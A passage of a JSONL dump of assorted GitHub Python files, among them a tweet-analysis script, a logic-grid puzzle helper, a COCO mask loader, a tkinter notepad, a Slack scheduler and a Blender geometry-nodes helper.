print('{:<20}{:>13}{:>9.2f}'.format(str(tickets)+'tickets @ $123 each', '$', ticket_total))\n    print('{:<20}{:>12}{:>9.2f}'.format(str(bags) + 'suitcases @ $20 each', '$', bag_total))\n    print('{:<20}{:>4}{:>9.2f}'.format('7.5% Tax (Tickets & suicases)', '$', final_tax))\n    print('{:<20}{:>6}{:>9.2f}'.format('Admin Fees @ $10 per person', '$', admin_fee))\n    print('{:<20}{:>6}{:>9.2f}'.format('Totla cost for your journey', '$', final_total))\n\nmain()\n\n","repo_name":"mn4774jm/PycharmProjects","sub_path":"Pycharm_files/Final/final1.py","file_name":"final1.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30585566987","text":"# Aurelia Arnett\r\n# Purpose: To load Tweets from database collections stored in MongoDB server & initial data discovery\r\n# The tweets that are loaded in are from two different user timeline collections: @airbnb and @vrbo\r\n\r\nimport pymongo\r\n\r\nclient = pymongo.MongoClient('localhost', 27017) # call the server\r\n\r\n# Part 1: Read in JSON formatted data from two Mongo DB collections (@Airbnb and @Vrbo)\r\n# Tweets have been collected using the run_twitter_simple_search_save.py and the TweetAuth.py programs\r\n# This component returns Tweets with from user timeline query collected & stored in the MongoDB server\r\n\r\n#Airbnb\r\ndb1 = client.airbnbtimeline #define a term for the @Airbnb db\r\ndbcoll1 = db1.airbnbs #define a term for the @Airbnb db collection\r\n\r\n#VRBO\r\ndb2 = client.vrbotimeline #define a term for the @Vrbo db\r\ndbcoll2 = db2.vrbos #define a term for the @Vrbo db collection\r\n\r\n\r\n# Find Tweets that are in English and convert them from JSON structures into a standard python list\r\n#Airbnb\r\ntweets_airbnb=dbcoll1.find() #search through  the @Airbnb db collection\r\nfor tweet in tweets_airbnb:\r\n   if tweet['lang'] == 'en': # return Tweets in English only\r\n      tweetlist_airbnb = [tweet for tweet in tweets_airbnb]\r\n#VRBO\r\ntweets_vrbo=dbcoll2.find() #define a term for the @Vrbo db collection\r\nfor tweet in tweets_vrbo:\r\n   if tweet['lang'] == 'en':\r\n      tweetlist_vrbo = [tweet for tweet in tweets_vrbo]\r\n\r\n# Define a function that will print the 1st Tweet in a collection\r\ndef print_tweet_data(tweets):\r\n   for tweet in tweets:\r\n         print('User:', tweet['user']['name'])\r\n         print('Message:', tweet['text'])\r\n         print('Hashtags:', [hashtag['text'] for hashtag in tweet['entities']['hashtags']] )\r\n         print('Number of retweets:', tweet['retweet_count'])\r\n         if not tweet['place'] is None:\r\n            print('Place:', tweet['place']['full_name'])\r\n\r\n#print the first Tweet in each collection\r\nprint('Example tweet from the Airbnb Collection:')\r\nprint('Total Tweets in collection', len(tweetlist_airbnb))\r\nprint_tweet_data(tweetlist_airbnb[:1])\r\nprint()\r\nprint('Example tweet from the VRBO Collection:')\r\nprint('Total Tweets in collection', len(tweetlist_vrbo))\r\nprint_tweet_data(tweetlist_vrbo[:1])\r\nprint()\r\n\r\n\r\n\r\n# Part 2: Count total number of retweets in each timeline collection\r\ncountretweetsAirbnb = 0\r\nfor tweet in tweetlist_airbnb: #sort through the @airbnb timeline collection to find retweet info\r\n   if int(tweet['retweet_count']) > 1:\r\n      countretweetsAirbnb += 1 #count total number of retweets\r\n#print(countretweetsAirbnb)\r\n\r\ncountretweetsVrbo = 0\r\nfor tweet in tweetlist_vrbo: #sort through the @vrbo timeline collection to find retweet info\r\n   if int(tweet['retweet_count']) > 1:\r\n      countretweetsVrbo += 1 #count total number of retweets\r\n#print(countretweetsVrbo)\r\n\r\n\r\n\r\n# Part 3: Export retweet information to a csv file\r\nimport csv\r\noutfile = \"4-1compareRetweets.csv\" #Name of output csv file\r\nwith open(outfile, 'w', newline='') as csvfileout:\r\n   retweetWriter = csv.writer(csvfileout, delimiter=',', quoting=csv.QUOTE_MINIMAL) #define the row writer\r\n   retweetWriter.writerow(['Timeline Collection', 'Total number of retweets'])\r\n   retweetWriter.writerow(['@Airbnb', countretweetsAirbnb]) #information on Airbnb\r\n   retweetWriter.writerow(['@Vrbo', countretweetsVrbo]) #information on Vrbo\r\n   retweetWriter.writerow(['for a collection of 1999 Tweets from the @Airbnb timeline collection & 1999 Tweets from the @Vrbo timeline'])\r\ncsvfileout.close()\r\n\r\n","repo_name":"aureliaarnett/DataScienceProjectPortfolio","sub_path":"Scripting - Airbnb Ratings/Store-MongoDB.py","file_name":"Store-MongoDB.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71480279461","text":"from itertools import combinations as combos\nimport re\nimport typing as t\nimport numpy as np\n\ntry:\n    from IPython.core.display import HTML\nexcept ImportError:\n    HTML = None\n\nfrom ..text import lowers\n\n\nclass _Conflict:\n    def __init__(self, *terms: t.Tuple[t.Union[\"_Conflict\", str]]):\n        self.terms = []\n        for term in terms:\n            if isinstance(term, _Conflict):\n                self.terms.extend(term.terms)\n            else:\n                self.terms.append(term)\n\n    def add(self, term: str):\n        self.terms.append(term)\n\n\nclass ValInfo(t.NamedTuple):\n    '''Info about a single possible value in a logic grid.\n\n    cat - the string name of the category it belongs to\n    val - the actual value\n    fullname - a unique identifier for this value, typically \"<cat>:<val>\"\n    idx - the index in the category list corresponding to this value\n    '''\n    cat: str\n    val: str\n    idx: int\n\n    @property\n    def fullname(self) -> str:\n        return '{}:{}'.format(self.cat, self.val)\n\n    def __str__(self) -> str:\n        return self.fullname\n\n\nclass AmbiguityError(KeyError):\n    def __init__(self, value: str, conf: _Conflict):\n        if len(conf.terms) == 2:\n            a, b = conf.terms\n            super().__init__(f'{value} could be {a} or {b}')\n        else:\n            terms = ', '.join(str(t) for t in conf.terms)\n            super().__init__(f'{value} could be any of: {terms}')\n        self.value = value\n        self.conf = conf\n\n\nclass CatMan:\n    '''Manager for discrete categories.\n\n    The input should be a dict or dict-like object whose keys are the names of\n    the categories and whose values are ordered lists of the possible values in\n    each category.\n\n    This object allows you to get information about a value in an intelligent\n    way. For example:\n\n    >>> c = CatMan(dict(\n    ...     color=['red', 'green', 'blue'],\n    ...     size=['small', 'medium', 'large']))\n    >>> c['color:red']\n    ValInfo(cat='color', val='red', idx=0)\n    >>> c['red']\n    ValInfo(cat='color', val='red', idx=0)\n\n    Different categories can have overlapping values; you'll get an\n    AmbiguityError if you try to use an ambiguous unqualified name:\n\n    >>> c = CatMan(dict(\n    ...    name = ['Alice', 'Violet'],\n    ...    color = ['Red', 'Violet']))\n    >>> c['color:Violet']\n    ValInfo(cat='color', val='Violet', idx=1)\n    >>> c['name:Violet']\n    ValInfo(cat='name', val='Violet', idx=1)\n    >>> c['Violet']\n    Traceback (most recent call last):\n        ...\n    puztool...AmbiguityError: 'Violet could be name:Violet or color:Violet'\n    '''\n\n    def __init__(self, cats):\n        self.catmap = {}\n        self.lookup = {}\n        self.categories = list(cats)\n        for cat, domain in cats.items():\n            self.catmap[cat] = []\n            for idx, val in enumerate(domain):\n                info = ValInfo(cat, val, idx)\n                self.catmap[cat].append(info)\n                self.lookup[info.fullname] = info\n                old = self.lookup.get(info.val)\n                if old is None:\n                    self.lookup[info.val] = info\n                else:\n                    self.lookup[info.val] = _Conflict(old, info)\n\n    @property\n    def num_cats(self):\n        return len(self.catmap)\n\n    @property\n    def num_items(self):\n        return len(self.catmap[self.categories[0]])\n\n    def domain(self, cat):\n        return self.catmap[cat]\n\n    @property\n    def all_domains(self):\n        return self.catmap\n\n    def get_info(self, value, cat=None):\n        '''Get info about a value.\n\n        If the input is a ValInfo, it'll just be returned. Otherwise, we return\n        the ValInfo from our internal lookup table, raising a KeyError if it's\n        not there or an AmbiguityError if it's an ambiguous name.\n        '''\n        if isinstance(value, ValInfo):\n            return value\n        v = self.lookup.get(value, None)\n        if v is None:\n            raise KeyError(value)\n        if isinstance(v, _Conflict):\n            if cat is not None:\n                value = '{}:{}'.format(cat, value)\n                return self.get_info(value)\n            raise AmbiguityError(value, v)\n        return v\n\n    def get_cat(self, value):\n        return self.get_info(value).cat\n\n    def get_fullname(self, value):\n        return self.get_info(value).fullname\n\n    def get_index(self, value):\n        return self.get_info(value).idx\n\n    def __getitem__(self, key):\n        if isinstance(key, (list, tuple)):\n            name, val = key\n            key = f'{name}:{val}'\n        if key in self.lookup:\n            return self.get_info(key)\n        return self.catmap[key]\n\n\nclass CatGrid(CatMan):\n    '''A logic grid.\n\n    The input is a dictionary of categories where each key is a category name\n    and each value is a list or set of possible values for one category (the\n    order within each column is irrelevant).\n\n    The input can also be a pandas DataFrame where the column names are the\n    category names and the values are the category values.\n\n    The CatGrid then creates a bunch of numpy object arrays, such that\n    g.grids[key1][key2][x,y] indicates whether the row with value x for key1\n    has value y for key2.\n\n    For example, suppose your data is three names, favorite colors, and signs:\n\n    >>> from puztool.parse import parse_table\n    >>> frame = parse_table(\"\"\"\n    ... name      color   sign\n    ... Brita     Blue    Ares\n    ... Galal     Green   Scorpio\n    ... Parvaneh  Red     Virgo\n    ... \"\"\", header=0)\n    >>> g = CatGrid(frame)\n\n    Each value gets assigned a unique name of the form <category>:<value>. In\n    the above case, for example, 'name:Brita' refers to the value 'Brita' in\n    the name category. However, the helper functions will also infer the\n    category if the term is unambiguous - 'Brita' also refers to that value\n    (but it would not if 'Brita' was also a value in another category).\n    '''\n\n    def __init__(self, categories):\n        super().__init__(categories)\n        self.pairs = list(combos(self.categories, 2))  # this comes up a lot\n        self.grids = {n: {} for n in self.categories}\n        for f1, f2 in self.pairs:\n            g = np.empty((self.num_items, self.num_items), dtype='object')\n            # Both entries point to different views of the same matrix\n            self.grids[f1][f2] = g\n            self.grids[f2][f1] = g.T\n\n    def exclude(self, *vals):\n        '''Indicate that these values are mutually exclusive.\n\n        This marks all intersections of values in vals as False.\n        '''\n        infos = map(self.get_info, vals)\n        for i1, i2 in combos(infos, 2):\n            if i1.cat == i2.cat:\n                continue\n            self.grids[i1.cat][i2.cat][i1.idx, i2.idx] = False\n\n    def require(self, *vals):\n        '''Indicate that these values must go together\n\n        This marks all intersections of values in vals as True.\n\n        It will complain if two values are from the same category, as requiring\n        both would mean there are no solutions to the grid.\n        '''\n        infos = map(self.get_info, vals)\n        for i1, i2 in combos(infos, 2):\n            if i1.cat == i2.cat:\n                msg = \"Cannot require both {} and {}\".format(i1, i2)\n                raise ValueError(msg)\n            self.grids[i1.cat][i2.cat][i1.idx, i2.idx] = True\n\n    def requireOne(self, first, options):\n        '''Indicate that one of options must go with first.\n\n        All values in options should be from the same category, and first\n        should be from a different one.\n        '''\n        i1 = self.get_info(first)\n        options = [self.get_info(opt) for opt in options]\n        categories = set(opt.cat for opt in options)\n        if len(set(categories)) > 1:\n            raise ValueError(\n                \"requireOne options must be in a single category.\")\n        cat = list(categories)[0]\n        g = self.grids[i1.cat][cat]\n        old = list(g[i1.idx, :])\n        g[i1.idx, :] = False\n        for i2 in options:\n            g[i1.idx, i2.idx] = old[i2.idx] or None\n\n    # Helpers for jsingler.de links\n    def _get_encoded_grid(self, val):\n        # Map each category to a letter and return the list of entries matching\n        # val in the form e.g. a3b5\n        letters = dict(zip(self.categories, lowers))\n        for f1, f2 in self.pairs:\n            a = letters[f1]\n            b = letters[f2]\n            for i in range(self.num_items):\n                for j in range(self.num_items):\n                    if self.grids[f1][f2][i, j] == val:\n                        yield '{}{}{}{}'.format(a, i, b, j)\n\n    def _encl(self, items):\n        return '!({})'.format(','.join(str(e) for e in items))\n\n    def _get_params(self):\n        d = dict(at='s', ms='s', nc=self.num_cats, ni=self.num_items, v=0)\n        encl = self._encl\n\n        def esc(s):\n            # The escaping they use seems a little weird so I didn't bother.\n            # Just strip any chars that would ruin the link.\n            return re.sub(r'\\W', '', s)\n        items = []\n        for cat in self.categories:\n            items.append(encl(esc(str(x.val)) for x in self.domain(cat)))\n        d['items'] = encl(items)\n        d['n'] = encl(self._get_encoded_grid(False))\n        d['p'] = encl(self._get_encoded_grid(True))\n        return ','.join('{}:{}'.format(k, v) for (k, v) in d.items())\n\n    def get_link(self):\n        '''Get a link that will display this grid on jsingler.de'''\n        base = 'http://www.jsingler.de/apps/logikloeser/?language=en#({})'\n        return base.format(self._get_params())\n\n    def html_link(self):\n        '''get_link, but returns an HTML object that ipython can display.'''\n        link = self.get_link()\n        if HTML is None:\n            return link\n        return HTML(\"<a href='{0}'>{0}</a>\".format(link))\n","repo_name":"dplepage/puztool","sub_path":"puztool/logic/cat_grid.py","file_name":"cat_grid.py","file_ext":"py","file_size_in_byte":9820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"41749871301","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2022/5/20 14:37\n# @Author  : shiman\n# @File    : drawing_utils.py\n# @describe:\n\nimport torch\nimport colorsys\n\nimport matplotlib.pyplot as plt\n\n\ndef show_images(imgs, num_rows, num_cols, scale=1.5, titles=None):\n    \"\"\"展示多个图片\"\"\"\n    figsize = (num_cols*scale, num_cols*scale)  # 定义展示图片尺寸\n    _, axes = plt.subplots(num_rows, num_cols, figsize=figsize)\n    axes = axes.flatten()\n    for i, (img, ax) in enumerate(zip(imgs, axes)):\n        if torch.is_tensor(img):\n            ax.imshow(img.numpy())\n        else:\n            ax.imshow(img)\n        ax.axes.get_xaxis().set_visible(False)  # 不展示XY轴刻度\n        ax.axes.get_yaxis().set_visible(False)\n        if titles:\n            ax.set_title(titles[i])\n\n\ndef apply(image, aug, num_rows=2, num_cols=4, scale=1.5):\n    \"\"\"定义图像增广方法\"\"\"\n    y = [aug(image) for _ in range(num_cols*num_rows)]\n    show_images(y, num_rows, num_cols, scale=scale)\n\n\ndef get_color_bar(classes_num):\n    hsv_tuple = [(1.0 * x/classes_num, 1, 1) for x in range(classes_num)]\n    rgb_tuple = [colorsys.hsv_to_rgb(*x) for x in hsv_tuple]\n    rgb_tuple = [(int(x[0]*255), int(x[1]*255), int(x[2]*255)) for x in rgb_tuple]","repo_name":"shimanStone/ml_utils","sub_path":"drawing_utils.py","file_name":"drawing_utils.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12440435615","text":"from matplotlib.pyplot import waitforbuttonpress\nimport numpy as np\nimport torch\nfrom torch.backends import cudnn\ncudnn.enabled = True\nimport imageio\nimport importlib\nfrom tool import imutils\nimport argparse\nimport cv2\nimport os.path\nimport torch.nn.functional as F\nfrom DPT.DPT import DPTSegmentationModel\nfrom myTool import *\nfrom tool.metrics import Evaluator\nfrom PIL import Image\nfrom pycocotools.coco import COCO\nfrom pycocotools import mask\n\n\ndef getImgId(name, load_dict):\n\t# load_dict = json.load(open(path, 'r'))\n\timages = load_dict['images']\n\n\tfor i in range(len(images)):\n\t\tfile_name = images[i]['file_name'].split('.')[0]\n\t\tif file_name == name:\n\t\t\t\t#print(images[i])\n\t\t\t\treturn images[i]['id']\n\ncls_dict = {}\nfor index, item in enumerate(coco_classes):\n    category_id = item['id']\n    cls_dict[index] = category_id\n\nbase_dir = '/home/users/u5876230/coco/'\nann_file = os.path.join(base_dir, 'annotations/instances_{}{}.json'.format('val', 2014))\ncoco = COCO(ann_file)\ncoco_mask = mask\nCAT_LIST = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23,\n                24, 25, 27, 28, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 46, 47, 48, 49,\n                50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 67, 70, 72, 73, 74, 75,\n                76, 77, 78, 79, 80, 81, 82, 84, 85, 86, 87, 88, 89, 90]\n\ndef get_coco_gt(name, h, w):\n    img_id = getImgId(name, coco.dataset)\n\n    cocotarget = coco.loadAnns(coco.getAnnIds(imgIds=img_id))\n    mask = np.zeros((h, w), dtype=np.uint8)\n    # print(cocotarget)\n    for instance in cocotarget:\n        rle = coco_mask.frPyObjects(instance['segmentation'], h, w)\n        m = coco_mask.decode(rle)\n        cat = instance['category_id']\n\n        if cat in CAT_LIST:\n            c = CAT_LIST.index(cat)\n\n        else:\n            continue\n        if len(m.shape) < 3:\n            mask[:, :] += (mask == 0) * (m * c)\n        else:\n            mask[:, :] += (mask == 0) * (((np.sum(m, axis=2)) > 0) * c).astype(np.uint8)\n    return mask\n\n\ndef _crf_with_alpha(pred_prob, ori_img):\n    bgcam_score = pred_prob.cpu().data.numpy()\n    crf_score = imutils.crf_inference_inf(ori_img, bgcam_score, labels=81)\n\n    return crf_score\n\nif __name__ == '__main__':\n    os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = '0'\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--weights\", default='./netWeights/RRM_final.pth', type=str)\n    parser.add_argument(\"--out_cam_pred\", default='./output/result/no_crf', type=str)\n    parser.add_argument(\"--out_la_crf\", default='./output/result/crf', type=str)\n    parser.add_argument(\"--out_color\", default='./output/result/color', type=str)\n    parser.add_argument(\"--LISTpath\", default=\"./voc12/val(id).txt\", type=str)\n    parser.add_argument(\"--IMpath\", default=\"/home/users/u5876230/coco/val2014/\", type=str)\n    parser.add_argument(\"--val\", default=False, type=bool)\n\n    args = parser.parse_args()\n\n    evaluator = Evaluator(num_class=81) \n    im_path = args.IMpath\n    img_list = os.listdir('/home/users/u5876230/coco/val2014/')\n\n    print(len(img_list))\n    pred_softmax = torch.nn.Softmax(dim=0)\n    # img_list = ['2007_000464 ']\n    for index, i in enumerate(img_list):\n        print(i)\n        print(index)\n        # i = ((i.split('/'))[2])[0:-4]\n        i= i[0:-3]\n\n        print(os.path.join(im_path, i[:-1] + '.jpg'))\n        img_temp = cv2.imread(os.path.join(im_path, i[:-1] + '.jpg'))\n       \n        h, w, _ = img_temp.shape\n        img_original = img_temp.astype(np.uint8)\n\n        if args.val==True:\n\n            target_path = os.path.join('/home/users/u5876230/coco/segmentation/', '{}.png'.format(i[:-1]))\n            target = np.asarray(Image.open(target_path), dtype=np.int32)\n            name = i[:-1]\n            print(name)\n            seg_mask = get_coco_gt(name, h, w)\n            print(seg_mask)\n            print(np.unique(seg_mask))","repo_name":"weixuansun/mirror","sub_path":"try_coco_gt.py","file_name":"try_coco_gt.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40102892020","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom subprocess import run\nimport drive\n\nclass Notepad():\n    def __init__(self):\n        self.window = Tk()\n        self.window_title = None\n        self.window_icon = None\n        self.menu_bar = None\n        self.status_bar = None\n        self.text_box = None\n        self.text = None\n\n        self.file_path = None\n        self.file_name = None\n        self.file_dialog = None\n\n    def update_variables(self):\n        try:\n            self.file_path = self.file_dialog.name\n            self.file_name = self.file_path.split('/')[-1]\n            self.window_title = self.window.title(self.file_name)\n        except AttributeError:\n            pass\n\n    def get_text(self):\n        self.text = self.text_box.get('1.0', END)\n        self.save_text()\n\n    def save_text(self):\n        self.file_dialog = filedialog.asksaveasfile(mode='w')\n        self.update_variables()\n        if self.file_dialog is not None:\n            self.file_dialog.write(self.text)\n            self.status_bar['text'] = 'Saved!'\n            self.set_status_bar_color('green', 'white')\n            self.file_dialog.close()\n\n    def open_file(self):\n        self.text_box.delete('1.0', END) # clear textbox before opening new file\n\n        self.file_dialog = filedialog.askopenfile(mode='r')\n        self.update_variables()        \n        if self.file_dialog is not None:\n            self.text_box.insert(INSERT, self.file_dialog.read())\n            self.status_bar['text'] = 'Opened!'\n            self.set_status_bar_color(bg='green', fg='white')\n            self.file_dialog.close()\n\n    def upload_to_drive(self):\n        drive.main()\n        drive.upload(self.file_name, self.file_path, 'text/txt')\n        self.status_bar['text'] = 'Uploaded!'\n        self.set_status_bar_color(bg='green', fg='white')\n\n    def confirm_quit(self):\n        answer = messagebox.askyesnocancel(\"Quit?\", \"Are you sure you want to quit?\")\n        if answer == True:\n            quit()\n\n    def set_status_bar_color(self, bg='black', fg='white'):\n        self.status_bar.configure(bg=bg, fg=fg)\n\n    def key(self, event):\n        key_pressed = event.char\n        if key_pressed == '(':\n            self.text_box.insert(INSERT, ')')\n        if key_pressed == '[':\n            self.text_box.insert(INSERT, ']')\n        if key_pressed == '{':\n            self.text_box.insert(INSERT, '}')\n        if key_pressed == '\\\"':\n            self.text_box.insert(INSERT, '\\\"')\n        if key_pressed == '\\'':\n            self.text_box.insert(INSERT, '\\'')\n\n    def run(self):\n        if \".py\" in self.file_path:\n            command = r\"python \" + self.file_path\n            output = run(command)\n        elif \".java\" in self.file_path:\n            compiler = r\"javac \" + self.file_path\n            run(compiler)\n            command = r\"java\" + self.file_path\n            output = run(command)\n        else:\n            self.status_bar['text'] = 'Unrunnable file'\n            self.set_status_bar_color(bg='red', fg='black')\n\n    def create_window(self):\n        self.window.geometry('500x500')\n        self.window.geometry(\"+700+250\")\n        self.window.protocol(\"WM_DELETE_WINDOW\", self.confirm_quit)\n        self.window_title = self.window.title('Untitled')\n        self.window_icon = self.window.iconbitmap(r'C:\\_Code_\\Python\\Notepad--\\pencil.ico')\n        self.menu_bar = Menu(self.window)\n        self.menu_bar.add_command(label=\"Open\", command=self.open_file)\n        self.menu_bar.add_command(label=\"Save\", command=self.get_text)\n        self.menu_bar.add_command(label='Save to Drive', command=self.upload_to_drive)\n        self.menu_bar.add_command(label='Run', command=self.run)\n        self.menu_bar.add_command(label=\"Quit\", command=self.confirm_quit)\n        self.window.config(menu=self.menu_bar)\n        self.status_bar = Label(self.window, text='', bd=1, relief=SUNKEN, anchor=W)\n        self.status_bar.pack(side=BOTTOM, fill=X)\n        self.set_status_bar_color()\n        self.text_box = Text(self.window, height=500, width=500, tabs=(\"2c\"))\n        self.text_box.configure(bg='black')\n        self.text_box.configure(fg='white')\n        self.text_box.configure(insertbackground=\"white\")\n        self.text_box.pack()\n        \ndef main():\n    notepad = Notepad()\n    notepad.create_window()\n    notepad.window.bind(\"<Key>\", notepad.key)\n    notepad.window.mainloop()\n\nmain()","repo_name":"dylan-pham/Notepad-App","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23026451875","text":"import re\n# The RegEx library\n#\n# our regular expression (to find e-mails)\n# and text to search\n#\nregex = '\\s[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}[\\s]'\ntext = \"\"\"This is example of text with x@y.z embedded e-mails\nthat we'll use as@gmail.com\nline with no addresses\nothers@insail.two valid email@addresses.com\nThe re module is awonderful@thing.\"\"\"\nprint('** Search text ***\\n'+text)\nprint('** Regex ***\\n'+regex+'\\n***')\n#\n#\n\nutext = text.upper()\n#\n#\n# perform a search (any emails found?)\ns = re.search(regex, utext)\nif s:\n    print('*** At least one email found \"'+s.group()+'\"')\n#\n# now, find all matches\n#\nm = re.findall(regex, utext)\nif m:\n    for match in m:\n        print('Match found', match.strip())\n","repo_name":"massibone/Python_Various_Problems","sub_path":"SEARCH/findMail.py","file_name":"findMail.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3079467068","text":"\"\"\" Impersonate myself.\n\"\"\"\nimport argparse\nimport sys\nimport time\nfrom collections import OrderedDict\nfrom multiprocessing.dummy import Pool\nfrom pathlib import Path\nfrom typing import Dict, List\n\nfrom slackit import Event, Message, Receiver\nfrom slackit._config import Config, configure\nfrom slackit.roam import today\nfrom slackit.services import SERVICE_REGISTRY\n\n\ndef _report(receiver: Receiver, messages: List[Message], delay: int) -> None:\n    print(f\"Sending {messages} to receiver {receiver} after {delay} seconds.\")\n\n\ndef _shoot(receiver: Receiver, messages: List[Message], delay: int) -> None:\n    \"\"\"For multiprocessing.\"\"\"\n    time.sleep(delay)\n    service = SERVICE_REGISTRY[receiver.service_name](receiver.receiver_id)\n    service.send_many(messages=messages)\n\n\ndef main() -> None:\n    \"\"\"Impersonate myself.\"\"\"\n    parser = argparse.ArgumentParser(description=main.__doc__)\n    parser.add_argument(\n        \"-c\",\n        \"--config\",\n        type=argparse.FileType(\"r\"),\n        required=True,\n    )\n    parser.add_argument(\n        \"-e\",\n        \"--event\",\n        required=True,\n    )\n    parser.add_argument(\n        \"--check-date\",\n        action=\"store_true\",\n        help=\"Only run if today's date matches the config.\",\n    )\n\n    args = parser.parse_args()\n\n    try:\n        configure(Path(args.config.name))\n\n        event_spec = Config.get(args.event)\n\n        if args.check_date and today() not in str(event_spec):\n            print(f\"Couldn't find {today()} in the event spec. Aborting!\")\n            sys.exit(0)\n\n        event = Event.from_spec(event_spec)\n        per_recv: Dict[Receiver, List[Message]] = OrderedDict()\n\n        for r_spec, m_spec in event.message_gen:\n            _messages = per_recv.setdefault(Receiver.from_spec(r_spec), [])\n            _messages.append(Message.from_spec(m_spec))\n\n        if not per_recv:\n            print(\"Nothing to do!\")\n            sys.exit(0)\n\n        _args = list(zip(per_recv.keys(), per_recv.values(), event.delay_gen()))\n        for _arg in _args:\n            _report(*_arg)\n\n        with Pool(len(per_recv)) as pool:\n            pool.starmap(_shoot, _args)\n\n    except Exception as exc:  # pylint: disable=broad-except\n        sys.exit(exc)\n\n    print(\"Done!\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"rarescosma/slackit","sub_path":"slackit/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3182682254","text":"from itertools import permutations\n\t\n\ndef fact(num):\n\tif num <= 1:\n\t\treturn 1\n\treturn num * fact(num - 1) \n\ndef main():\n\t# ls = list(permutations(range(10)))\n\t# rep = (list(ls[999999]))\n\t# print(\"\".join([str(i) for i in rep]))\n\n\tposition = 999999\n\tfactoList = [fact(i) for i in range(10)]\n\tlistComp = [i for i in range(10)]\n\tpositionList = []\n\tcomb = []\n\n\tfor i in range(len(listComp)):\n\t\tpositionList.append(position // factoList[-(i + 1)])\n\t\tposition -= (position // factoList[-(i + 1)]) * factoList[-(i + 1)]\n\n\tfor i in positionList:\n\t\tcomb.append(listComp[i])\n\t\tdel listComp[i]\n\n\tprint(\"\".join([str(i) for i in comb]))\n\nif __name__ == '__main__':\n\tmain()","repo_name":"Bonbelge1/euler","sub_path":"python/probleme24.py","file_name":"probleme24.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71579797861","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", encoding=\"utf-8\") as f:\n    long_des = str(f.read())\n\nsetup(\n    name='flet_translator',\n    version='1.2.7',\n    author='SKbarbon',\n    description='A package that help flet developers to make their apps support multiple languages',\n    long_description=long_des,\n    long_description_content_type='text/markdown',\n    url='https://github.com/SKbarbon/flet_translator',\n    install_requires=[\"flet\", \"sacremoses\", \"deep-translator\"],\n    packages=find_packages(),\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: Microsoft :: Windows\"\n    ],\n)","repo_name":"SKbarbon/flet_translator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"73659464741","text":"#region Information\n'''\nThis module contains useful functions for building geometry\nnodes node trees inside of Blender.\n'''\n#endregion\n#region Imports\nimport bpy\nfrom easybpy import *\n#endregion\n#region Main Class\nclass GeometryNodes:\n    \n    # Variables\n    tree = None\n    control = None\n    group_input = None\n    group_output = None\n    \n    # Class init\n    def __init__(self, name = \"New Node Object\"):\n        control = self.create_control_object(name)\n    \n    def create_control_object(self, name):\n        o = create_object(name, \"Node Objects\")\n        select_only(o)\n        bpy.ops.node.new_geometry_nodes_modifier()\n        \n        # Essential variables for the class.\n        self.tree = self.get_node_tree(o)\n        self.group_input = self.tree.nodes[\"Group Input\"]\n        self.group_output = self.tree.nodes[\"Group Output\"]\n        return o\n    \n    def get_node_tree(self, object):\n        return object.modifiers[\"GeometryNodes\"].node_group\n    \n    def add_object(self, ref = None):\n        objnode = self.tree.nodes.new(type=\"GeometryNodeObjectInfo\")\n        if ref is not None:\n            objref = get_object(ref)\n            objnode.inputs[0].default_value = objref\n        return objnode\n    \n    def output_geometry(self, ref):\n        node = get_node(self.tree.nodes,ref)\n        index = get_index_of_output(node, \"Geometry\")\n        create_node_link(node.outputs[index], self.group_output.inputs[0])\n        \n    def connect_geometry(self, first, second):\n        first_index = get_index_of_output(first, \"Geometry\")\n        second_index = get_index_of_input(second, \"Geometry\")\n        create_node_link(first.outputs[first_index], second.inputs[second_index])\n    \n    def boolean(self, first, second):\n        boolnode = self.tree.nodes.new(type=\"GeometryNodeBoolean\")\n        first_index = get_index_of_output(first, \"Geometry\")\n        second_index = get_index_of_output(second, \"Geometry\")\n        create_node_link(boolnode.inputs[0], first.outputs[first_index])\n        create_node_link(boolnode.inputs[1], second.outputs[second_index])\n        return boolnode\n    \n    def join_geometry(self, first, second):\n        joinnode = self.tree.nodes.new(type=\"GeometryNodeJoinGeometry\")\n        first_index = get_index_of_output(first, \"Geometry\")\n        second_index = get_index_of_output(second, \"Geometry\")\n        create_node_link(joinnode.inputs[0], first.outputs[first_index])\n        create_node_link(joinnode.inputs[1], 